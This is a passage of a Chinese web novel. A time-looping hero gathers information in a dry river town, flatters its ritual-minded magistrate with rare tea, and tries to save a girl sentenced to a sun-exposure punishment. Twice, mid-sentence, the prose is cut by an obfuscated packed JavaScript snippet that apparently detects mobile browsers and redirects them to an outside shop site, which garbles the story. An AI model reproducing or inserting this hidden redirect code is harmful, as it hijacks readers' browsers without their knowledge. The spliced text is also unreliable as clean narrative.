“不过……”王千户看向林越,“清水镇县官是个古板人,最重礼数。尔去见他,切记谨言慎行,莫要失了礼数。” “草民谨记。” 事情就这么定了下来。 早饭后,王千户叫来一个精干的年轻士兵,吩咐他护送林越去清水镇。士兵姓赵,约莫二十出头,身材结实,说话爽利。 临行前,刘员外却叫住了林越。“林先生稍等。” 他吩咐周管家:“去库里取二两雪顶山雾茶来。” 林越一愣:“刘员外,这是……” “礼多人不怪。”刘员外将包好的茶叶递给林越,“王千户的关系是王千户的,尔的礼数也要齐备。清水镇县官的母亲最爱此茶,尔带过去,就说是一点心意。” 林越接过茶叶,心中涌起一股暖流。这刘员外真是周到。 “多谢员外。” “路上小心。”刘员外拍拍他的肩膀,“若是南方不如意,随时回来。刘府的大门,永远为尔敞开。” 林越郑重行礼,转身跟着赵士兵出了府门。 晨光正好,黄壤屯的土路上已经有了行人。赵士兵牵来两匹马,翻身上了一匹,示意林越骑另一匹。 “林先生会骑马吗?” “略懂一二。”林越前世在旅游景点骑过,虽不精通,但好歹能坐稳。 两人策马出屯,沿着官道向南而行。路上,赵士兵颇为健谈,说了不少边境的趣事,也提醒林越南下的注意事项。 “清水镇比黄壤屯繁华多了,人也杂。先生到了那边,记得财不露白,夜里少出门。” “多谢赵兄提醒。” 中午时分,他们在路边的茶摊简单吃了些干粮,继续赶路。未时刚过,前方就出现了一座镇子的轮廓。 清水镇到了。 镇子还算富裕,虽然镇前的河床已经干涸,但镇内建筑明显比黄壤屯齐整得多。青石板铺成的街道,两旁店铺林立,行人往来,确实繁华不少。 赵士兵轻车熟路,带着林越直奔县衙。 县衙位于镇子中心,是一座青瓦白墙的院落,门口站着两个衙役。赵士兵上前递上王千户的名帖,说明了来意。 门房是个瘦削的中年人,接过名帖看了看,脸色立刻恭敬起来。 “原来是千户大人引荐的先生。不过……”他面露难色,“县尊大人今日出府办事去了,要傍晚才能回来。” 林越心里咯噔一下。傍晚?那今天就见不到了?明天龙语少女就要被押去接受“晒刑”……时间紧迫! 但他面上不动声色,只是客气地问:“不知县尊大人何时能回来?草民在此等候便是。” “这可说不准。”门房摇头,“县尊是去邻镇查案,快的话申时末,慢的话可能要天黑。先生不如先找地方安顿下来,明日一早再来?” 林越看向赵士兵。 赵士兵道:“林先生,既然县尊不在,咱们先找个客栈住下。明日再来也不迟。” “也好。”林越点头,但心中焦急。不能干等。我得趁着今天,把镇子的情况摸清楚。龙语少女被关在哪里?“晒刑”在哪里执行?这些信息必须尽快掌握。 他忽然心念一动,对赵士兵道:“赵兄,我初来乍到,对清水镇一无所知。既然今日有空,不如劳烦赵兄带我四处走走,熟悉熟悉地方?” 赵士兵爽快答应:“这有何难!我在清水镇也待过些时日,还算熟悉。走,我带先生逛逛。” 两人离开县衙,沿着街道慢慢走着。 清水镇确实比黄壤屯热闹。街上有卖布的、卖粮的、卖杂货的,还有几家酒肆茶楼。行人衣着也整齐些,偶尔能看到几个穿着绸缎的富户。 但林越的心思不在这些上。他一边走,一边仔细观察着镇子的布局。县衙在中心,那么牢房应该就在附近。他记得第二次轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119397|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回时,曾听人说过犯人关押的地方…… “赵兄,这镇子的牢房在何处?”林越装作随意地问。 “牢房啊,就在县衙后头,有个小院。”赵士兵指了指方向,“怎么,先生对这个感兴趣?” “只是好奇。”林越笑道,“读书人嘛,总想多了解些民生百态。” 赵士兵点头:“也是。不过那地方晦气,咱们还是别靠近了。” 正说着,迎面走来两个衙役。赵士兵显然认识他们,笑着打招呼:“老张!老王!当值呢?” 两个衙役停下脚步,看到赵士兵,也笑了起来。 “哟,小赵!怎么回清水镇了?这位是……” 赵士兵热情地介绍:“这位是林越林先生,千户大人引荐的读书人,要去见县尊办文书。林先生可是了不得,在黄壤屯救了刘员外家的小儿,昨夜还抓了个贼人!” 两个衙役顿时肃然起敬。 “原来是林先生!失敬失敬!” “先生高义!” 林越谦逊地拱手:“不敢当,侥幸而已。” 赵士兵继续添油加醋地说了林越的事迹,听得两个衙役连连称赞。很快,又有几个路过的衙役和百姓围了过来,听赵士兵讲故事。 林越心中暗喜。正好!借着这个机会,和镇上的衙役们混熟。他们知道的消息最多,说不定能打听到什么。 他一边客气地回应众人的称赞,一边仔细观察每个人的神情,寻找着可能的突破口。 清水镇的街道上,林越的身影在人群中穿梭。他笑着,应和着,心中却绷着一根弦。明天就是第四天,晒刑要开始了,早一天救出少女,就能少一天罪。 龙语少女的命运,就看他今天能掌握多少信息了。 林越抓住这个机会,开始与几个衙役攀谈起来。他先是谦逊地表示自己只是侥幸,然后巧妙地转移话题:“诸位兄弟尔等常年在这清水镇当差,想必对这里的一草一木都了如指掌。我初来乍到,还想请教请教,咱们县尊大人是怎样的父母官?” 一个年纪稍长的衙役老张接口道:“县尊大人啊,那可是个讲规矩的。每日早饭后,必定要带着我们几个在镇内巡视一圈,从东街走到西街,从市集到河堤,风雨无阻。说是要体察民情,了解民生疾苦。” “每日都巡视?”林越故作惊讶,“县尊大人真是勤勉。” “可不是嘛。”另一个年轻衙役老王笑道,“咱们清水镇能有今天的安宁,多亏了县尊大人。就是有一点——太讲究礼数了,有时候刻板得很。不过这也是好事,至少不会徇私枉法。” 林越心中记下这个信息:县官每日早饭后巡视。这是个规律,也许可以利用。 他又问:“听说县尊大人是个孝子,家中老母身体可还安康?” “老太太身子硬朗着呢。”老张说,“就是有个老毛病,爱喝茶。特别是雪顶山雾茶,每半年都要喝上一回。往常这个时候,从北边来的商队早该到了,今年不知怎的,迟迟不见踪影。县尊大人前些日子还念叨,说老太太的茶叶快喝完了。” 林越心头一动。雪顶山雾茶?这不就是刘员外送他的那份吗?看来这茶叶送对了。 “这雪顶山雾茶如此难得?”他问。 “难得得很。”老王接过话头,“只有北边雪顶山才产,每年产量有限。往年来送茶的商队都是固定的那几家,今年不知出了什么岔子,到现在都没影。县尊大人为此还派人去打听过,说是路上不太平,耽搁了。” 林越将这些信息牢牢记住。县官的喜好、习惯、家庭情况,这些都是接近他的敲门砖。 他又和衙役们聊了一会儿清水镇的风土人情,巧妙地打听镇上的布局。从谈话中,他得知牢房就在县衙后院,是个独立的小院,有专门的人看守。而明天执行“晒刑”的地方,是在镇子西边的晒谷场——那是镇上最大的空地,平时用来晒粮食,惩罚犯人时也在这里。 “晒刑是什么时辰开始?”林越装作好奇地问。 “午时三刻,太阳最毒的时候。”老张说,“那少女今天上午刚判的刑,明天就要拉出来晒。说起来也怪可怜的,一个小姑娘,偏偏自称是龙语者……” 林越心中一紧,但面上不动声色:“龙语者?那是什么?” 几个衙役对视一眼,老张压低声音:“先生是外乡人,不知道也正常。龙语者是能和龙沟通的人,据说有特殊能力。但这都是传说,没人见识过哩,又是个小女娃,县尊大人判定她妖言惑众,就关了起来,要执行‘晒刑’。” “原来如此。”林越点头,“那这姑娘关在哪里?我能去看看吗?读书人,总想见识见识稀奇事。” 老王连忙摆手:“这可不行。那地方看守得严,除了县尊大人和几个心腹,谁都不能靠近。先生还是别打这个主意了,免得惹麻烦。” 林越知道再问下去会引起怀疑,便顺势转移了话题。 聊了约莫半个时辰,衙役们要去当值了,赵士兵也说要去找人报个口信回黄壤屯复命。林越谢过众人,独自一人在镇上继续逛。 他沿着街道慢慢走,脑子里整理着刚才获取的信息: 1.县官每日早饭后巡视,这是个接近他的机会。 2.县官母亲喜爱的雪顶山雾茶商队未到,而他手上有刘员外给的二两茶叶。 3.牢房看守严密,直接接近风险太大。 4.“晒刑”在午时三刻,地点是西边晒谷场。 但还有一个关键问题:那干涸河床的问题也不清楚详细,这些信息去哪里找呢? 林越站在街角,环顾四周。镇子不大,但巷道纵横,有些地方他还没走过。他决定再仔细转转,看看有没有什么遗漏的信息点。 走着走着,他拐进了一条僻静的小巷。这里离主街有一段距离,行人稀少,两旁的房屋也显得老旧些。巷子深处,有一家小小的店铺,门面很不起眼,招牌上写着“清风书肆”四个字,字迹已经有些褪色。 林越停下脚步。书肆?之前三次轮回,他都把注意力集中在主街和县衙附近,从没来过这么偏僻的地方。而且前两次时间紧迫,他要么在被抓,要么在干零活,根本无暇顾及这种地方。 他推门进去。 12. 清水潺潺 书肆里很安静,光线有些昏暗。书架倚墙而立,上面摆满了各种书籍,有的新,有的旧。一个白发苍苍的老者坐在柜台后,正低头看着什么书,见有人进来,只是抬了抬眼,又低下头去。 林越在书架间慢慢走动。书不算多,但种类不少:四书五经、地方志、医书、农书,甚至还有些杂记小说。他仔细地浏览着书名,忽然,眼睛一亮。 在角落的一个书架上,放着一本厚厚的线装书,封面上写着《清水镇地理志》。 他连忙取下来,翻开扉页。里面记载着清水镇的建镇历史、地理环境、行政区划、人口物产等详细信息。更让他惊喜的是,书中有一张略显模糊的周边地图,标注了河流和经过的每个弯道的位置。 林越的心跳加快了。 他继续翻阅,书中还详细记载了河流历年的情况。镇前那条宽阔的干涸河床,在五十年前还是一条清水潺潺的活水河,名为“清河”。河水自西边山涧发源,蜿蜒流过镇前,水质清冽甘甜,不仅是全镇的饮用水源,也灌溉着沿岸数百亩良田。每年春夏之交,河面上常有白鹭栖息,孩童在浅滩嬉戏,妇人在岸边浣衣,是一派生机盎然的景象。 书中记载,这条河的水量一直很稳定,即使在旱年也只是稍减,从未断流。然而,在三年前的一个秋天,河水毫无征兆地开始减少。起初只是水位下降了些,镇民们以为只是寻常的枯水季,并未在意。但接下来的几个月,河水持续减少,到了第二年春天,本该是汛期的时候,河床却露出了大片大片的卵石。 更奇怪的是,河水不是逐渐枯竭,而是仿佛一夜之间失去了源头。镇上的老人回忆,就在河水开始减少的前几天,有人听到西边山涧方向传来低沉的轰鸣,像是什么东西在地下崩塌。县衙曾派人去上游探查,但山涧深处地形复杂,探了数日也无果而终。 此后的三年,河床彻底干涸,只剩下雨季时积攒的少许雨水,很快也被晒干。镇民们尝试过打井,但井水苦涩,远不及曾经的河水甘甜。也有人提议迁镇,但故土难离,加上清河镇已在此扎根百年,最终大家还是决定留下。 关于镇名,书中特别提到:曾有乡绅提议改名,认为“清水”二字已名不副实,但多数镇民反对。前任县官在最后一次议此事时说:“清河养育了我们数代人,如今它虽暂时干涸,但我们不能忘了它的恩情。留着这个名字,是盼着有朝一日河水能再回来。”这番话得到了广泛认同,于是“清水镇”这个名字便一直沿用至今。 书中还附有几幅简陋的插图:一幅是当年清河全盛时的景象,波光粼粼,帆影点点;一幅是干涸后的河床,龟裂的土地上散落着枯死的芦苇;最后一幅是镇民在河床边祭祀河神的场景,香烟袅袅,人群跪拜,期盼着奇迹发生。 林越看得入神。这些记载不仅解释了镇名的由来,更透露了一个关键信息——河水的干涸并非自然演变,而是突然发生的异常事件。这与龙语少女所说的“恢复清水镇盛景”是否有关联?她自称能解决河水干涸之事,难道真的知道什么内情? 林越如获至宝。他捧着书走到柜台前:“老先生,这本书怎么卖?” 老者抬起头,眯着眼看了看他手里的书:“《清水镇地理志》?这书有些年头了,是前任县官主持编修的。尔要它做什么?” “晚辈初来清水镇,想多了解此地风土人情。”林越恭敬地说。 老者打量了他片刻,点点头:“读书人是该多了解地方。这本书……五十文吧。” 林越掏出刘员外赠送的钱袋付了钱。正要离开,老者忽然开口:“年轻人,我看尔气度不凡,不像是普通读书人。这清水镇啊,看似平静,底下却暗流涌动。尔初来乍到,凡事多留个心眼。” 林越心中一动,转身拱手:“多谢老先生提醒。晚辈谨记。” 走出书肆,天色已经有些暗了。林越揣着《清水镇地理志》,心里踏实了许多。有了这本书,他对清水镇的了解就不再停留在表面,而是有了详细的依据。他不禁感慨,前几次轮回要是能早点发现这个地方,或许能少走不少弯路。不过现在也不晚,至少为后续的行动提供了关键信息。 他快步走出僻静的小巷,回到主街。天色已经暗了下来,街上的行人明显少了,不少店铺开始打烊。远远的,他看到赵士兵正站在一个卖馕饼的摊子前,一边啃饼一边四处张望。 “赵兄!”林越招呼了一声。 赵士兵回过头,见他来了,笑着走过来:“林先生,尔去哪儿了?我在县衙门口等了半个时辰不见人,还以为尔迷路了。” “随便逛逛,顺便买了本书。”林越扬了扬手中的《清水镇地理志》。 “先生真是用功。”赵士兵佩服道,“走,咱们去找个客栈住下。明日一早再去见县尊。” 两人沿着主街往前走。镇子边缘有一片开阔的空地,原是镇上的晒谷场。此时天色虽暗,却还能看到几个衙役模样的人在那里忙活。他们正围着一个粗大的木桩,有人拿着锤子在往柱子上钉绳子,有人在旁边清理地上的杂物。 “咦,那不是老王他们吗?”赵士兵眼尖,认出了白天聊过的衙役,“这么晚了还在忙活什么?” 林越心中一动。他隐约猜到了什么,但没说破。 两人走近了些。正在钉绳子的衙役抬起头,看到赵士兵,笑着打招呼:“小赵,还没找地方住下?” “正准备去呢。老王,尔等这是在忙活什么?这大晚上的。” 老王放下锤子,擦了擦汗:“还不是为了明天那个‘晒刑’。县尊大人吩咐了,要把场地准备好。喏,这木桩就是绑人的地方,绳子要钉结实些,别到时候人掉下来了。” 赵士兵好奇地凑过去:“‘晒刑’?我头一回听说。就是把犯人绑在柱子上晒太阳?” “可不是嘛。”另一个年轻衙役接口道,“还是县尊大人仁慈,要是按律法,自称龙语者是要斩首的。但那少女不过十四五岁,县尊念她年幼,就‘法外开恩’,只罚她绑在烈日下晒五日。若是五日不死,就放了她;若是死了,便说明龙语者之说纯属谎言。” 林越站在一旁静静听着,心中却翻涌起来。五日……别说五日,就是一天晒下来,以那少女的瘦小身子,怕是都撑不住。这哪是什么法外开恩,分明是另一种形式的死刑。 老王叹了口气:“说起来那小姑娘也是……今天上午县尊大人巡视时,她突然冲出来拦住队伍,说自己是龙语者后裔,能解决河水干涸之事。县尊最讨厌装神弄鬼之人,当场就发了火。若非看她年纪实在太小,早就按律处斩了。” “县尊也是给她个教训。”年轻衙役补充道,“让她知道话不能乱说。龙语者那是传说中的存在,岂是她一个小女娃能冒充的?” 赵士兵点点头:“原来如此。那明日午时三刻,就是在这里行刑?” “对,就在这里。”老王重新拿起锤子,“你们快去找地方住吧,别耽误了明天的正事。” 林越和赵士兵告辞离开。走了几步,林越回头望了一眼晒谷场。夜色中,那根木桩的轮廓显得格外突兀。他深吸一口气,将情绪压了下去。不能急,明天先去见县官,拿到身份文书,再想办法。 两人在镇上找了家还算干净的客栈住下。一夜无话。 次日一早,林越早早起床,仔细整理好衣冠,又将刘员外给的雪顶山雾茶用布包好,这才叫上赵士兵一同前往县衙。 县衙门口已经聚了不少等着办事的人。赵士兵上前递了名帖,门房见是王千户引荐的人,不敢怠慢,连忙进去通报。不多时,门房出来,恭敬地将两人请了进去。 县衙后堂,一个五十多岁、面容严肃的男子正襟危坐。他穿着青色官服,头戴乌纱,正是清水镇的县官。 林越和赵士兵上前行礼。 “草民林越,见过县尊大人。” “卑职赵成,奉王千户之命护送林先生前来。” 县官抬起眼皮看了他们一眼,目光落在林越身上:“尔就是王千户引荐的那人?” “正是。”林越恭敬道,“草民自北而来,欲往南方求学。承蒙千户大人垂青,特来请县尊大人开具身份文书。” 县官点点头,正要说话,林越却从怀中取出那包茶叶,双手奉上:“草民初来乍到,无以为敬。听闻老夫人喜爱雪顶山雾茶,特备些许,还望县尊大人不嫌微薄。” 县官的眼睛明显亮了一下。他接过茶叶,拆开布包闻了闻,脸上露出一丝难得的笑意:“确是上好的雪顶山雾茶。家母近日正念叨此茶,尔有心了。” “老夫人喜欢就好。”林越谦逊道。 县官的态度明显和缓了许多。他吩咐旁边的书吏:“去,给林先生置办一份身份文书,盖上县衙大印。” 书吏领命而去。 县官示意两人坐下,又让人上了茶。他端着茶杯,打量了林越片刻,忽然道:“尔既是读书人,可知《孝经》有云:‘身体发肤,受之父母,不敢毁伤,孝之始也’?” 林越心中一动,知道这是考问。他连忙正色道:“回县尊,草民知道。为人子女,当爱惜身体,不使父母担忧,此为孝道之本。” “说得好。”县官赞许地点点头,“如今世风日下,许多人不知孝顺为何物。更有甚者,为求名利,不惜装神弄鬼,欺骗世人,此乃大不孝也!” 林越知道他指的是龙语少女之事,便顺着话头道:“县尊大人明察。草民以为,孝道不仅在于事亲,更在于修身。修身立德,方能为国为民。” 这话说到了县官心坎里。他抚掌笑道:“说得好!修身立德,方能为国为民。尔年纪虽轻,见识却不凡。” 接下来的一炷香时间里,县官拉着林越大谈孝道礼法,从《礼记》讲到《孟子》,又从古代圣贤讲到当今世风。林越虽不是专业读书人,但前世好歹是受过高等教育的,加上这阵子在刘府也读了些书,竟也能应付得来,偶尔还能引经据典,说得县官连连点头。一旁的赵士兵听得昏昏欲睡,但又不敢表现出来,只能强打精神陪着。 林越一边应对,一边观察县官的反应。他发现这位县官虽然古板,但并非不讲道理之人。他对孝道的执着,或许可以成为后续说服他的突破口。不过现在还不是时候,得先建立足够的信任。 好不容易,书吏拿着办好的身份文书回来了。县官亲自验看后,交给林越:“有了这份文书,尔南下之路便畅通无阻了。不过——”他顿了顿,道:“尔既是有识之士,不妨在清水镇多留几日。本官近日正为河水干涸之事烦恼,尔若有良策,不妨直言。” 林越心中暗喜,这正是他想要的机会。但他知道不能操之过急,便恭敬道:“草民才疏学浅,不敢妄言。但若县尊大人不弃,草民愿在镇上多留几日,观察了解,或能有所发现。” “甚好。”县官满意道,“那尔就多住几日。若有需要,可随时来县衙找本官。” “谢县尊大人。” 林越接过文书,仔细收好。又客气了几句,这才和赵士兵告辞出来。 走出县衙,赵士兵长舒一口气:“我的老天,可算出来了。林先生,尔可真能说,我听得都快睡着了。” 林越苦笑:“没办法,县尊大人喜欢谈这些。不过这也是好事,至少他愿意留我在镇上多住几日。” “不过尔这身份文书算是到手了。”赵士兵笑道,“有了这个,尔南下就方便多了。咱们现在去哪儿?” 林越看了看天色,已近午时。他想起晒谷场的事,便道:“先去吃点东西吧。忙了一上午,肚子也饿了。” 两人找了家酒肆,要了几个菜,一边吃一边聊。酒肆里人不少,嘈杂得很。林越却没什么胃口,心中一直惦记着那个被绑在柱子上的少女。 正吃着,旁边一桌的几个汉子忽然聊了起来。 “听说了吗?今天西边晒谷场要行‘晒刑’。” “听说了。就是那个自称龙语者的小姑娘?” “对,十四五岁的样子,瘦瘦小小的。刚才我路过那边,看到衙役正押着她往晒谷场去哩。” 林越的手一僵。他放下筷子,对赵士兵道:“赵兄,咱们去看看吧。” 赵士兵也听到了隔壁的对话,正觉得新奇:“‘晒刑’? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119398|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还真没见过。走,去瞧瞧。” 两人匆匆结账,快步往晒谷场赶去。 晒谷场已经聚了不少看热闹的人。空地中央,那根昨天夜里钉好的木桩格外显眼。此刻,一个瘦小的身影正被五花大绑在柱子上。绳子勒得很紧,她的脚甚至够不着地面,只能悬空挂着。 林越挤到人群前面,终于看清了那少女的模样。 很瘦,非常瘦。粗布麻衣裹着的身子几乎看不出少女的曲线,手腕细得仿佛一折就会断。她的头发凌乱地披散着,遮住了大半张脸,但露出的下巴和脖颈苍白得没有一丝血色。 烈日当空,阳光直射在她身上。她的嘴唇已经干裂,额头沁出细密的汗珠,顺着脸颊滑落,在尘土中砸出小小的坑洼。 林越的心揪紧了。 他强迫自己冷静下来,仔细观察。少女的脖子上似乎挂着什么东西,但被衣领遮住了大半,看不真切。他想知道那是不是他的玉坠,但又不能直接过去查看。 得想个办法靠近她…… 他转头看向赵士兵:“赵兄,尔看那姑娘,嘴唇都干裂了。咱们能不能给她点水喝?这么晒下去,怕是撑不了多久。” 赵士兵也是心善之人,闻言点点头:“也是可怜。我去问问老王他们。” 他走到正在维持秩序的衙役身边,笑着套近乎:“老王,辛苦了。这大热天的,尔等也不容易。” 老王抹了把汗:“可不是嘛。不过县尊吩咐了,得看着。” “我看那小姑娘嘴唇都干裂了。”赵士兵指了指柱子上的少女,“要是晒死了,县尊大人面子上也不好看吧?不如给她点水喝,好歹别让她这么快就……” 老王犹豫了一下,看了看周围围观的百姓,又看了看柱子上奄奄一息的少女,终于松了口:“也是。县尊只是要给她个教训,没真想让她死。尔等去给她喂点水吧,别太多,意思意思就行。” 赵士兵冲林越使了个眼色。 林越连忙从旁边的小摊上买了一碗清水,小心翼翼地端着,走向木桩。 越靠近,少女的模样越清晰。她的眼睛紧闭着,长长的睫毛在阳光下投出细碎的阴影。手腕处,粗粝的绳子磨破了皮肤,渗出血迹。更让林越心惊的是,她的两只手腕上都有纵横交错的疤痕,新旧叠加,触目惊心。这些疤痕看起来不像是日常劳作所致,更像是某种仪式或自残留下的痕迹。 他走到少女面前,轻声唤道:“姑娘,喝点水吧。” 少女缓缓睁开眼睛。那是一双很清澈的眼睛,但此刻充满了疲惫和痛苦。她看了看林越,又看了看他手中的水碗,轻轻点了点头。 林越将碗凑到她嘴边,小心地喂她喝水。少女小口小口地喝着,喉头轻轻滑动。一碗水很快见了底。 “还要吗?”林越问。 少女摇摇头,声音沙哑:“够了……谢谢……” 林越趁机压低声音,用只有两人能听到的音量问:“姑娘,尔脖子上挂的玉坠……是谁给你的?” 少女愣了一下,抬眼看他:“你……你怎么知道……” 这用词?林越心中一动。 “那玉坠很重要。”林越急切道,“是不是一个商人送给你的?说是富户卖给他的?” 少女的眼中闪过一丝惊讶:“是……你怎么知道?” “那玉坠现在在你身上吗?” 少女轻轻摇头:“在……商人说,那是报酬。他说清水镇有个富户卖给他这块玉坠,虽然不是珍品,但还不错。他把它送给我,希望我能用龙语恢复清水镇的盛景……让河水重新流淌……” 林越的心沉了下去,果然那个商人不对劲,他怎么知道少女是龙语者后裔又能精确找到她的,且仅用一枚小小普通玉坠,就能作为这么大事情的报酬,不是知道什么关键就是口才过于了得,这背后肯定有隐情。 他定了定神,又问:“那商人长什么样子?现在在哪里?” “他……他给了我玉坠后就离开了。”少女的声音越来越虚弱,“他说……等河水恢复了,他会再来找我……” 林越还想再问,身后却传来衙役的催促声:“喂好了就快回来!别耽搁太久!” 他只得匆匆道:“姑娘,你再坚持一下。我会想办法救你。” 少女看着他,眼中闪过一丝困惑,但还是轻轻点了点头。 林越退后几步,将空碗还给摊主,回到了人群中。赵士兵凑过来:“怎么样?” “喝了点水,好多了。”林越道,心中却在飞速思考。 商人用普通玉坠骗她使用龙语……龙语者少女即将被晒死……这一连串的事情,背后是不是有什么联系?那商人为何要欺骗一个少女使用龙语?是为了试探她的能力,还是另有目的?而玉坠的流转,从自己到商队,再到清水镇富户,最后到商人手里,这个过程中商人又扮演了什么角色? 烈日继续炙烤着大地。柱子上的少女重新闭上了眼睛,仿佛一具没有生气的木偶。 林越看着这一幕,拳头慢慢握紧。不能再等了。明天,必须行动。不仅要救出少女,还要查清楚清河断流的真正原因。他有种预感,这些背后可能隐藏着更大的秘密。 他和赵士兵离开了晒谷场,回到客栈。赵士兵累了一天,很快便睡下了。林越却毫无睡意,他坐在窗边,借着月光再次翻开《清水镇地理志》。书中关于清河断流的记载反复看了几遍,一个想法逐渐清晰起来——如果河水的干涸真的与地下结构变化有关,那么光靠龙语恐怕解决不了问题,而且看县官的表现,估计是不乐意真的有龙语出现。但县官显然不相信科学分析,只相信传统和礼法。要说服他,必须找到一个既能符合礼法,又能实际解决问题的办法。 林越揉了揉太阳穴,感觉事情比预想的更复杂。救少女只是第一步,要真正通关这个世界,必须修复水脉平衡。而这需要时间、人力和县官的支持。明天,他要先去县衙正式提出为少女“赎罪”的请求,然后逐步展开调查。 他低头看了看手腕上的黑痕,那黑色的印记似乎又增长了一小段。时间在流逝,而谜团却越来越多。 13. 巧用礼法 寅时三刻,天色还是一片濛濛的灰蓝,清水镇的石板路上已经响起了林越急促的脚步声。 他昨夜几乎没怎么合眼。在客栈油灯下,他反复推敲着今天这场“偶遇”的每一个细节——拜帖的措辞、递上的时机、站立的角度、说话的语气。这感觉,像极了穿越前通宵赶项目上线前的最后测试,每一个接口都要反复调用,每一个异常都要预判处理。只是这次,他要调用的不是代码,而是人心;要处理的异常不是bug,而是死亡。 拜帖是昨晚就写好的。纸是向客栈掌柜讨来的粗糙黄麻纸,墨是借了账房先生半块快磨秃的墨锭。林越用新学的大炎官话,尽量工整地写下几行字: “后学末进林越,谨拜县尊大人台前。闻大人日行巡查,体察民隐,仁风惠政,泽被乡梓。小子不才,心向往之,斗胆请随行左右,观摩学习,以广见闻,以明事理。伏乞允准。” 写完之后,他对着那几行字看了半晌,心里忍不住吐槽:这要是放在现代,不就是“领导您好,听说您今天下基层调研,我想跟着学习一下,求带”吗?不过加了点文言文buff,显得逼格高了点。但正是这点“逼格”,可能就决定了县官是觉得他“知礼数”还是“不知天高地厚”。 天刚微亮,县衙那两扇厚重的黑漆大门还紧闭着。门前两只石狮子在晨雾中蹲踞,咧着嘴,像是在嘲笑每一个来此求见的人。林越整了整身上那套粗布衣裳——这是他在黄壤屯时,刘员外家周管家给他置办的,洗得发白,但干净整齐,既不太寒酸,也不会显得刻意张扬。 他深吸一口气,走到侧边的小门,轻轻叩响了门环。 开门的是个睡眼惺忪的老门房,裹着件破棉袄,一脸不耐烦:“谁啊?这么早!” 林越躬身,将拜帖双手递上,同时从袖中摸出几个铜钱,不动声色地塞进对方手里——这是昨天向赵士兵打听来的“规矩”:“劳烦老伯,将此帖呈与县尊大人。小子林越,在此候着。” 老门房掂了掂手里的铜钱,脸色稍霁,嘟囔了一句“等着”,便接过拜帖,转身进去了。 等待的时间格外漫长。晨雾渐渐散去,街上开始有了人声。挑着担子的菜农、赶早市的货郎、睡眼惺忪打开铺板的店家……清水镇一点点苏醒过来。林越站在衙门外墙的阴影里,眼睛盯着那扇小门,耳朵却竖起来,捕捉着街上的每一丝动静。 他在心里反复默背着那汉子的话:“年纪跟尔差不多,二十出头,血气方刚。他在街上跟县官大人的轿子撞上了——也不是故意的,就是人多,挤来挤去,不小心撞到了轿子。” 关键信息:年轻,男性,二十出头。地点:街上。时间:县官巡查时。原因:人多拥挤,意外撞轿。 但“意外”真的只是意外吗?林越经历过太多次“意外”了——第一次轮回,他不过是问了个价钱,就成了“细作”;第二次,他只是沉默,就成了“不敬”;第三次,他只是说错一个字,就成了“亵渎”。在这个世界里,“意外”往往意味着“有罪”。 他又想起昨天在衙门口,那几个衙役闲扯时的话: “最近牢里空得很,没啥新货。” “可不是,连个偷鸡摸狗的都没逮着。” “县尊大人最近心情不错,前天还赏了咱们一坛酒呢。” 没有类似的小伙子判刑——这意味着,如果那汉子说的是真的,那么事件还没发生。而县官每天巡查的时间是固定的:早饭后,辰时左右。那么,撞轿事件只可能发生在今天。 突破口。林越握紧了拳头。指甲掐进掌心,带来一丝刺痛,让他保持清醒。如果我能阻止这件事,不光能救下那个倒霉蛋,也许还能在县官面前刷一波好感度。救少女的计划,就多了一分把握。 正想着,小门“吱呀”一声开了。老门房探出头来,脸上竟带着几分诧异:“小子,进来吧。大人在花厅见尔。” 林越心中一动,连忙躬身道谢,跟着走了进去。 县衙内比外面看起来要宽敞些,但也透着股陈腐气。青砖铺地,缝隙里长着暗绿的苔藓。廊柱上的红漆斑斑驳驳,露出里面黑褐的木纹。空气里有股淡淡的霉味,混合着墨汁和旧纸张的气息。 花厅里,县官已经换好了官服——深青色圆领袍,胸前补子绣着只说不清是鸬鹚还是鹌鹑的鸟。他正端着一只白瓷盖碗,慢条斯理地吹着热气。见林越进来,只抬了抬眼,没说话。 林越立刻跪下行礼:“小人林越,拜见县尊大人。” “起来吧。”县官的声音不高,带着点晨起的沙哑。他放下茶碗,目光在林越身上打量了一圈,“尔今日是来作甚?” “谢过县尊大人。小人是特来拜见大人想要观摩学习的。”林越起身,垂手站着,视线落在县官脚前的地面上——这是周管家教他的,见官时不可直视,但也不能完全低头,显得畏缩。 “雪顶山雾茶,确是难得。”县官捻了捻胡须,脸上露出一丝满意,“吾母饮后,精神好了许多。尔有心了。” “大人孝心感天,小人不过是借花献佛。”林越谨慎地答道。 “嗯。”县官点点头,又端起茶碗呷了一口,“拜帖上说,想随本官巡查,观摩学习?” “是。小人初到清水镇,见大人每日不辞辛劳,巡视乡里,体察民情,心中敬佩。故冒昧恳请,若能随行一观,学习大人治政之风,于小人必是终生受益。”林越把昨晚想好的词儿一股脑倒出来,语气诚恳,姿态放得极低。 县官没立刻回答。厅里静了片刻,只有他喝茶时轻微的啜饮声。林越能感觉到对方的目光在自己身上扫来扫去,像是在掂量什么。这是在评估我的价值?还是怀疑我的动机?一个外地来的年轻人,突然献茶,又突然要跟着巡查——确实可疑。但他既然愿意见我,说明茶叶起作用了。现在,他需要的是一个合理的解释…… “尔倒是会说话。”县官终于开口,语气里听不出喜怒,“不过,巡查并非儿戏。衙役开道,百姓围观,稍有差池,便是失了官家体面。尔跟在旁边,可能守规矩?” 